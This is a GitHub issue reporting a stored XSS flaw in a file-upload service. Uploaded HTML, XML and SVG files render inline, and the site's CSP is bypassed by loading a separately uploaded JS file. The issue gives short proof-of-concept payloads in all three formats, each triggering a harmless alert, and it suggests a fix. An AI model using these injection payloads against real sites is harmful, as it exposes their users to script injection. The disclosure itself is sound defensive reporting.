Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Upload files - XSS with HTML, XML, SVG files #30

Open
tag9724 opened this issue May 12, 2021 · 0 comments
Open

Upload files - XSS with HTML, XML, SVG files #30

tag9724 opened this issue May 12, 2021 · 0 comments

Comments

@tag9724
Copy link

tag9724 commented May 12, 2021

HTML, XML and SVG can be uploaded and displayed directly in the page, opening the website to XSS attacks.

CSP are set to block inline script execution but it can be easily bypass by uploading a JS file and then include it inside the HTML, XML or SVG document, CSP should not be trusted to prevent XSS attacks.

These files should be displayed as plain text or forced to download when opening their urls.

Examples

First we upload the JS file, it will give us the url https://u.teknik.io/c9X1t.js

alert("Js Alert");

Using HTML

<script src="https://u.teknik.io/c9X1t.js"></script>

image

Using XML

<xhtml:script xmlns:xhtml="http://www.w3.org/1999/xhtml" src="https://u.teknik.io/c9X1t.js" type="application/javascript"/>

image

Using SVG

<svg xmlns="http://www.w3.org/2000/svg">
	<script href="https://u.teknik.io/c9X1t.js"></script>
</svg>

image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant